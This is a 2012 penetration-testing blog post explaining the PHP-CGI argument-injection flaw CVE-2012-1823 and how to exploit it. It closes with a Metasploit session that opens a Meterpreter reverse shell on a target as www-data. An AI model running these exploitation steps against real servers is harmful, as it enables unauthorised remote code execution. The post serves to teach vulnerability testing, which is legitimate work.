[Editor's Note: A couple of weeks ago, there was some hubbub about a vulnerability in PHP that allowed for remote system compromise, as described in CVE-2012-1823. Bad guys are exploiting this in the wild now, as reported by the Internet Storm Center here. Jose Selvi wrote a brief article summarizing the type of issue we're dealing with here, as well as tips for penetration testers and ethical hackers to target this flaw. Thanks, Jose! -Ed.]
By Jose Selvi
As you probably know by now, a remote execution vulnerability in PHP (CVE-2012-1823) was published a couple of weeks ago (http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/). This vulnerability only affects those servers where PHP is configured as a CGI script. Although it is not the default configuration in the majority of the systems, there are some well known services such as Facebook that use PHP as a CGI.
This vulnerability is very similar to a Java WebStart vulnerability published last year by Ruben Santamarta (http://www.reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1) and Tavis Ormandy (http://seclists.org/fulldisclosure/2010/Apr/119) (at the same time but not together).
The main concept is: The service gets a set of parameters, where some (or all) of them are controlled by users. Then, the service uses them in a call to a local binary. If these parameters are not filtered as they should be, an attacker could add an extra option to the call. As a hypothetical example to illustrate the concept, consider an application which has the following parameters an attacker may want to manipulate (listed here in pseudo-code):
Binary = "PrintName"
Args = "-n " + username
execute( Binary, Args )
Generally, a user should enter a username but what if he or she enters something such as "Jose -cmd id"? Well, if PrintName had an option "-cmd" which executes the following command, "id" would be executed in order to look for the service user privileges (in Unix).
The previous situation is the underlying cause of the recent PHP-CGI vulnerability: It's possible to add extra parameters in the PHP-CGI call when interpreting a PHP page.
But... what can we do with this as penetration testers? What kind of parameters are available in PHP-CGI binary? Check out the optional listed here: http://www.php.net/manual/en/features.commandline.options.php. All options are available in the PHP official website (they're valid for PHP-CGI as well). There are some of them that could be really interesting:
-d foo[=bar] Define INI entry foo with value 'bar'
-n No php.ini file will be used
It seems that we could add extra options as if they were in a php.ini file, but only for this PHP execution. This is really interesting. We could add lots of php.ini options to this execution (http://www.php.net/manual/en/ini.list.php), but there are a couple of them that could be really useful for us, specifically those included in this list:
Well, it seems that we are close to our goal: We can allow url include and then prepend our own php file as code to execute. We would use an URL such as:
It should work, inserting PHP code into exploit.exe, which should be executed on the server. But, looking at some published exploits I have seen, they use a special URL php://input (http://www.php.net/manual/en/wrappers.php.php) that references stdin content (POST variables in this scenario). This is really helpful, since some web servers do not have Internet access to fetch a file from a pentester's website, thus it is better than including an Internet PHP file. Finally, the overall attack would be carried out as demonstrated below:
BINGO! It seems we can execute PHP code, but it would be even better to execute operating system commands. We only have to spend a bit of time with PHP, as follows:
Now, we can execute whatever we want in our target, using the "cmd" parameter we are passing to POST. Of course, commands are executed with the webserver privileges and restrictions.
Stepping up, we can use a Metasploit module called "php_cgi_arg_injection" (http://www.metasploitminute.com/2012/05/cve-2012-1823-php-cgi-bug.html) as well. It is easier to use, since all we have explained in this post is done automatically:
msf > use exploit/multi/http/php_cgi_arg_injection
msf exploit(php_cgi_arg_injection) > set PAYLOAD php/meterpreter/reverse_tcp
msf exploit(php_cgi_arg_injection) > set LHOST 172.16.146.1
msf exploit(php_cgi_arg_injection) > set RHOST php.pentester.es
msf exploit(php_cgi_arg_injection) > set TARGETURI /
msf exploit(php_cgi_arg_injection) > exploit
[*] Started reverse handler on 172.16.146.1:4444
[*] Sending stage (38791 bytes) to 172.16.146.128
[*] Meterpreter session 2 opened (172.16.146.1:4444 -> 172.16.146.128:41732) at Sat May 05 11:31:00 +0200 2012
meterpreter > sysinfo
OS : Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686
Computer : bt
Meterpreter : php/php
meterpreter > getuid
Server username: www-data (33)
meterpreter > portfwd --help
Usage: portfwd [-h] [add | delete | list | flush] [args]
-L The local host to listen on (optional).
-h Help banner.
-l The local port to listen on.
-p The remote port to connect to.
-r The remote host to connect to.
I have not used the PHP Meterpreter, but I guess it has just a few options such as the Java Meterpreter. In spite of it, file upload/download, port forwarding and some other commands (that I really love) work as expected. We are now really close to a total server pwnage.